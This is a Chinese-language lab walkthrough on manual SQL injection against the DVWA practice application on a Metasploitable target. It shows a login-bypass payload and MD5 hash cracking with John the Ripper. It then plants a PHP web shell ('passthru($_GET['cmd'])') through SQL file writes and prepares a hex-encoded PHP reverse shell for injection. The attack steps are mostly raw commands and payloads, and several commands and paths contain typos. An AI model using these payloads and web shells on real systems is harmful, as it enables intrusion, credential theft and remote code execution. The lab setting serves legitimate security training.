所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。
服务器端程序将用户输入参数做为查询条件,直接拼接SQL语句,并将查询结果返回给客户端浏览器。
根据相关技术原理,SQL注入可以分为平台层注入和代码层注入。前者由不安全的数据库配置或数据库平台的漏洞所致;后者主要是由于程序员对输入未进行细致地过滤,从而执行了非法的数据查询。基于此,SQL注入的产生原因通常表现在以下几方面:①不当的类型处理;②不安全的数据库配置;③不合理的查询集处理;④不当的错误处理;⑤转义字符处理不合适;⑥多个提交处理不当。
防护
手工漏洞挖掘-----SQL注入
服务器端程序将用户输入参数作为查询条件,直接拼接SQL语句,并将查询结果返回给客户端浏览器
用户登录判断:
SELECT * FROM user WHERE user='uname' AND password='pass'
SELECT * FROM user WHERE user='name' AND password=''OR"="
服务器端输入框前面的内容可能是 select first_name,surname from users where id=' 内容',所以我们可以在内容中加入sql注入语句来进行注入;(--后面有一个空格,没有加号,用加号是以为url会自动把空格变成+)
在注入的时候,有可能会被拦截,所以我们可以用ASCII码来进行替换。有可能跳过过滤不严的过滤机制。
我在这里用的是DVWA,所以这里猜的是DVWA的表名。对于破解MD5,我们可以使用kali中的一款叫做john的工具,John the ripper是基于字典的密码破解工具。它使用内容全是密码的单词表,然后使用单词表中的每一个密码,试图破解某个特定的密码散列。换句话说,它又叫蛮力密码破解,这是一种最基本的密码破解方式。不过它也是最耗费时间、最耗费处理器资源的一种方法。尝试的密码越多,所需的时间就越长。
John有别于Hdra之类的工具。Hydra进行盲目的蛮力攻击,其方法是在FTP服务器或Telnet服务器上的服务后台程序上尝试用户名/密码组合。不过,John首先需要散列。所以,对黑客来说更大的挑战是,先搞到需要破解的散列。如今,使用网上随处可得的免费彩虹表(rainbow table),比较容易破解散列。只要进入到其中一个网站,提交散列;要是散列由一个常见单词组成,那么该网站几乎立马就会显示该单词。彩虹表基本上将常见单词及对应散列存储在一个庞大的数据库中。数据库越大,涵盖的单词就越多。
但是如果你想在自己的系统上本地破解密码,那么John是值得一试的好工具之一。John跻身于Kali Linux的十大安全工具。在Ubuntu上,它可以通过新立得软件包管理器(synaptic package manager)来安装。
root@kali:~# john --format=raw-MD5 dvwa.txt
root@kali:~# cd .john/
root@kali:~/.john# ls
john.log john.pot
root@kali:~/.john# cat john.log
root@kali:~/.john# cat john.pot
root@kali:~/.john# rm * //删除破解日志,才能进行下面的工作
root@kali:~/.john# john --format=raw-MD5 dvwa.txt
然后我们cd .john/ 可以看到两个文件,john.log和john.pot,log是日志文件,我们看一下pot,就可以看到密码了。
也可以
使用show选项,列出所有被破解的密码。
root@kali:~# john --show ~/dvwa.txt
我们这里用burp来修改sql语句
看,执行成功,文件的内容出来了,下面再来看一下写入文件的命令
这里我们用kali来连接我们的靶机:
root@kali:~# ssh [email protected]
msfadmin@metasploitbale:~$ cd /var/
msfadmin@metasploitbale:/var$ cd www/
msfadmin@metasploitbale:/var/www$ ls
1.php dvwa mutillidea phpMyAdmin tikiwiki twiki
dva index.php phpinfo.php test tikiwiki-old
msfadmin@metasploitbale:/var/www/$ cd dvwa/
msfadmin@metasploitbale:/var/www/dvwa$ ls
about.php dvwa index.php php.ini
GHANGELOG.txt external instructions.php README.txt
config favicon.ico login.php roubots.txt
COPYING.txt hackable logout.php security.php
docs ids_log.php phpinfo.php setup.php
msfadmin@metasploitbale:/var/www/dvwa$ suodo find / -name a.php
msfadmin@metasploitbale:/var/www/dvwa$ cd /var/lib/mysql/
msfadmin@metasploitbale:/var/lib/mysql$ ls -l
msfadmin@metasploitbale:/var/lib/mysql$ sudo -i
root@metasploitbale:/var/lib/mysql/dvwa# ls
a.php guestbook.frm gusetbook.MYI users.MYD
db.opt guestbook.MYD users.frm users.MYI
root@metasploitbale:/var/lib/mysql/dvwa# cat a.php
<?php passthru($_GET['cmd']);?>root@metasploitbale:/var/lib/mysql/dvwa#
root@metasploitbale:/var/lib/mysql/dvwa# ls -l
root@metasploitbale:/var/lib/mysql/dvwa# cat /etc/passwd | grep mysql
mysql:x:109:118:MySQL Server,,,:/var/lib/mysql:/lib/false
root@metasploitbale:/var/lib/mysql/dvwa# cd /var/www/
root@metasploitbale:/var/www# ls -ld /tmp
root@metasploitbale:/var/www# cd /tmp/
root@metasploitbale:/tmp# ls -l a.php
root@metasploitbale:/tmp# ps aux | grep mysql
root@kali:~# cp /user/share/webshells/php/
findsock.c php-findsock-shell.php qsd-php-backdoor.php
php-backdoor.php php-reverse-shell.php simple-backdoor.php
root@kali:~# cp /user/share/webshells/php/php-reverse-shell.php ./b.php
root@kali:~# ls
b.php dvwa.txt 公共 模板 视频 图片 文档 下载 音乐 桌面
root@kali:~# vi b.php
root@kali:~# cat b.php
root@kali:~# cat b.php | xxd -ps 固定一行显示
root@kali:~# cat b.php | xxd -ps | tr -d '\n' 删除换行符
root@metasploitbale:~# cd /tmp/
root@metasploitbale:/tmp# cat a.php
<?php passthru($_GET['cmd']);?>root@metasploitbale:/var/lib/mysql/dvwa#
root@kali:~# vi c.php
<?php passthru($_GET['cmd']);?>
root@kali:~# cat c.php | xxd -ps | tr -d '\n'
没有权限啊。那我们来看一下默认路径吧,
ok,可以写进去